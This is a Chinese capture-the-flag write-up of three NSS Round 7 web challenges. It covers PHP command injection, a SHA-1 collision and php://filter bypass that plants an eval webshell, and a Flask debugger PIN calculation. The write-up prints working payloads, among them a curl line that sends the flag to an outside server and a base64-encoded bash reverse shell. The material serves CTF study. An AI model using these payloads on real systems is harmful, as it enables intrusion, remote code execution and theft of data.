NSS_Round#7部分wp

news2024/11/19 3:26:43

Web

ec_RCE

源码:

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

啥都没过滤,直接拼接就行

payload

1 action=;cat /flag
2 action=;curl vpsip:port/`cat /flag`

0o0

参考链接:

  • 谈一谈php://filter的妙用

目录扫描发现.DS_Store泄露,使用ds_store_exp发现存在Ns_SCtF.php

Ns_SCtF.php

<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
}

。。。。。。。

太简单就不解释了

payload

http://43.142.108.3:28142/Ns_SCtF.php?NSSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&NsSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&NsScTF=1+&NsScTf=data://text/plain,Welcome to Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7

POST:submit=1

然后就是后面的会写文件,且目标文件名为我们上传的文件名

但是前面会拼接<?php die("Round7 do you like");这里就是利用base64的宽松性

因为base64编码进行解码的话只会识别那个64个字符,所以这里的<?php die("Round7 do you like");就会被当做phpdieRound7doyoulike进行解码

因为这里只有21个字符,而base64解码是以4个字节为一组的,所以要在后面加上3个字符来凑成4的倍数

同时fopen()是支持使用php伪协议的,所以只要我们把payload进行base64编码,然后使用伪协议进行解码,就可以把前面的die去除掉

具体的可以看p佬的谈一谈php://filter的妙用

payload:

aaaPD9waHAgaWYoJF9QT1NUWzFdKXtldmFsKCRfUE9TVFsxXSk7fWVsc2V7cGhwaW5mbygpO30=
aaa#<?php if($_POST[1]){eval($_POST[1]);}else{phpinfo();}

文件名为php://filter/convert.base64-decode/resource=1.png.php,在windows上可以进行url编码一次,得到

%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%2E%70%6E%67%2E%70%68%70

然后使用apifox进行发包

image-20230128224258050

访问1.png.php,获得shell

image-20230128224338474

flag在/home目录下

ShadowFlag

  • 算pin码
  • /proc/??/fd

进去获得源码

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

先反弹shell,过滤了空格,使用%09替代

payload:

act=echo%09YmFzaCAtaSAmPiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA%2bJjE=|base64%09-d|bash

且访问路由/console发现开起来debug模式,又因为获得了shell,所以可以去计算pin码

参考文章:Flask debug模式算pin码

找到以下内容

  • /sys/class/net/eth0/address

    image-20230129152827903

  • /proc/sys/kernel/random/boot_id

    image-20230129152849811

  • /proc/self/cgroup

    image-20230129152920854

然后放进脚本,获得pin码

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485376942619',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    'e2a9f272-7959-44cc-86ce-6cfd758857a7213e47bb4c8bf369452b861c1ab342a62729010067ad0ad1ad8a92bc453a6c94'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后在报错的app.py那一段点击右边的console,输入pin码

因为flag2没有被del,所以可以获取

image-20230129153420918

然后在app.py中,/tmp/flag1.txt被打开后,并没有使用close(),所以虽然被删除了,但还是存在文件描述符,所以可以去找文件描述符来得到flag1

ll /proc/??/fd

image-20230129153556060

cat /proc/17/fd/3

得到flag1,拼接起来变成完整的flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/183782.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jenkins入门(二)Jenkins安装及自动构建部署

一、安装环境 1. 机器要求&#xff1a; 256 MB 内存&#xff0c;建议大于 512 MB 10 GB 的硬盘空间&#xff08;用于 Jenkins 和 Docker 镜像&#xff09; 需要安装以下软件&#xff1a; Java 8 ( JRE 或者 JDK 都可以) 2. 安装JDK 检索可用包 yum search java|grep jd…

Java之JDBC-ResultSet(结果集)

之前的dml语句都返回值都是int表示有改动的行数 那么Select可是要展示数据的 SELECT查询的结果 通过这个ResultSet遍历 然后通过next方法来一行行读取数据 类似于迭代器(肯定不是迭代器) 里面还包含获得的数据元素 相当于这个既包含元素&#xff0c;还能迭代自己的元素 具体你…

[Vulnhub] DC-5

下载链接&#xff1a;https://download.vulnhub.com/dc/DC-5.zip 同DC-4 这个靶机也是只有一个flag 不过官方描述说这个可能提高了一点点难度 官方描述&#xff1a; 据我所知&#xff0c;只有一个可利用的入口点可以进入&#xff08;也没有 SSH&#xff09;。这个特定的入口点…

RocketMQ 原理介绍及详细安装教程

一、为什么选择RocketMQ Apache RocketMQ 自诞生以来&#xff0c;因其架构简单、业务功能丰富、具备极强可扩展性等特点被众多企业开发者以及云厂商广泛采用。历经十余年的大规模场景打磨&#xff0c;RocketMQ 已经成为业内共识的金融级可靠业务消息首选方案&#xff0c;被广泛…

python使用pywin32库将ppt导出为高清图片

python使用pywin32库将ppt导出为高清图片 作者&#xff1a;虚坏叔叔 博客&#xff1a;https://xuhss.com 早餐店不会开到晚上&#xff0c;想吃的人早就来了&#xff01;&#x1f604; 一、安装库 需要安装pywin32库 pip install pywin32二、代码原理 WPS高清图片导出需要会…

Fisco Bcos区块链四(WeBase结点前置服务)

文章目录区块链开荒技术文档&#xff1a;https://fisco-bcos-documentation.readthedocs.io/zh_CN/latest/index.html5、WeBASE节点前置服务1、前提条件2、拉取代码3. 编译代码4. 修改配置&#xff08;1&#xff09;进入dist目录&#xff08;2&#xff09;进入conf目录复制配置…

一些常见代码如from __future__ import ...的功能

1. 有一些代码在一开始会通过from __future__ import...导入模块。 __future__是什么&#xff1f; 随着python版本的升级&#xff0c;一些功能也会产生变化&#xff0c;__future__中包括了一些新版本的功能&#xff0c;通过导入__future__中的模块&#xff0c;可以在旧pyth…

IPSec

IPSec是网际层实现IP分组端到端安全传输的机制&#xff0c;由一组安全协议组成。 鉴别首部&#xff08;Authentication Header&#xff0c;AH&#xff09;和封装安全净荷&#xff08;Encapsulating Security Payload&#xff0c;ESP&#xff09;是其中两个协议&#xff0c;AH和…

如何云同步vscode的配置到码云(gitee)上

目录 &#x1f525; 写在前面 一、安装插件 二、创建Gist &#x1f449; 如何获取Gist ID &#x1f449; 如何进入代码片段管理页面 三、创建私人令牌 四、插件配置 五、插件使用 &#x1f449; 上传配置 &#xff1a;命令为 upload setting &#x1f449; 下载配置 …

基于语义分割Ground Truth(GT)转换yolov5图像分割标签(路面积水检测例子)

基于语义分割Ground Truth&#xff08;GT&#xff09;转换yolov5图像分割标签&#xff08;路面积水检测例子&#xff09; 概述 随着开发者在issues中对 用yolov5做分割任务的呼声高涨&#xff0c;yolov5团队真的在帮开发者解决问题&#xff0c;v6.0版本之后推出了最新的解决方…

2、等价类划分

如何划分等价类 在给定了输入或外部条件之后&#xff0c;等价类的划分原则如下&#xff1a; 如果输入条件规定了一个取值范围&#xff08;例如&#xff0c;“数量可以是1到999”&#xff09;&#xff0c;那么就应确定出一个有效等价类&#xff08;1<数量<999&#xff0…

【大唐杯备考】——5G网络架构的演进趋势(学习笔记)

&#x1f4d6; 前言&#xff1a;本期介绍5G网络架构的演进趋势。 目录&#x1f552; 1. 5G网络架构概述&#x1f552; 2. 4G网络架构概述&#x1f552; 3. 核心网架构演进&#xff08;了解&#xff09;&#x1f558; 3.1 2G核心网&#x1f558; 3.2 3G、4G核心网&#x1f558; …

Golang - 如何编写Go代码

Golang - 如何编写Go代码 今天学习下如何在Go模块中开发一个简单的Package包&#xff0c;并介绍Go相关工具&#xff0c;以及如何获取、构建、安装模块等使用方法。本文中的案例需要使用Go 1.13及以上版本。 代码组织 Go程序以package包的形式组织&#xff0c;package包是同一…

Vue11-事件修饰符

结论&#xff1a;前三最常用 1.prevent 此时点击链接&#xff0c;除了会提示我是一个超链接信息外&#xff0c;a标签还会默认后进行链接跳转&#xff0c;此时为了阻止默认跳转事件&#xff0c;可以加prevent属性实现。此时只有弹框提示是信息&#xff0c;链接不会进行跳转 2.st…

Aqua Data Studio 22.1.x Crack

Aqua Data Studio 数据库 IDE 的优势 使用单一数据库工具管理大量数据源的多项任务 轻松开发、执行和共享 SQL 语句 通过复制和粘贴在类似 Excel 的网格中查看、过滤和编辑查询结果 创建可视化和仪表板以通过拖放来分析数据 比较架构、数据、查询结果、文件和文件夹 将数据库逆…

流量录制工具怎么选?看完这篇文章就懂了

流量录制&#xff1a;在不影响用户正常使用的前提下&#xff0c;获取线上用户的真实请求和服务响应结果&#xff0c;将其保存或者转发到目标应用。 采用不同的流量录制手段&#xff0c;可以采集不同传输阶段的流量。 01、流量复制方式 1、基于应用层的复制&#xff1a; 优点…

Linux串口调试助手

前言 基于网上资料对相关概念做整理汇总&#xff0c;部分内容引用自文后文章。 在linux下使用串口终端有两个选择&#xff1a; 基于命令行的minicom图形界面的putty&#xff08;xshell没有linux版本&#xff09;1 概述 1.1 Linux的串口设备 Linux下的串口和windows不同&…

移动web媒体查询

移动web媒体查询媒体查询媒体查询使用场景-1媒体查询使用场景-2媒体查询使用场景-3Bootstrap栅格系统row 类列偏移列嵌套移动web阶段重点知识媒体查询 使用媒体查询做响应式页面,为Bootstrap 做铺垫。 body {background-color: gray; }/* 大于等于768px 为粉色 */ media (min…

注意力提示

人类的注意力是有限的、有价值和稀缺的资源。 受试者使用非自主性和自主性提示有选择性地引导注意力。前者基于突出性&#xff0c;后者则依赖于意识。 注意力机制与全连接层或者汇聚层的区别源于增加的自主提示。 由于包含了自主性提示&#xff0c;注意力机制与全连接的层或…

MiG Calendar 6.9.3 for Java Crack

将日历功能添加到您的 Java 应用程序。 使用 MiG Calendar&#xff0c;您可以毫不费力地将任何类型的基于时间的可视化添加到您的应用程序中。您可以创建任何东西&#xff0c;从完整的日历应用程序&#xff08;如 Outlook 或 Apple 的 iCal&#xff09;到电视节目表或航班信息应…